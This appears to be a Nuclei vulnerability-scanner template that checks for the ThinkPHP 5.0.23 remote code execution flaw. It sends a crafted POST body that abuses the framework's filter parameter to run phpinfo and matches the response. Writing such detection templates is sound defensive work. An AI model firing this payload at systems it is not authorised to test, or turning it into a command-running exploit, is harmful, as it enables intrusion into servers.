id: thinkphp-5023-rce

info:
  name: ThinkPHP 5.0.23 - Remote Code Execution
  author: dr_set
  severity: critical
  description: ThinkPHP 5.0.23 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5.0.23-rce
  classification:
    cwe-id: CWE-95,CWE-470
  metadata:
    max-request: 1
  tags: thinkphp,rce,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?s=captcha"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: "_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "ThinkPHP"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e8f739a7a86484f7fc20f94f6279a931ab839542655ac0ba99b4dc74eb0fc361022100c1b7eada165de76aa1af250fb9d12d0239aeeb0db7910a255eeb087326bceb06:922c64590222798bb761d5b6d8e72950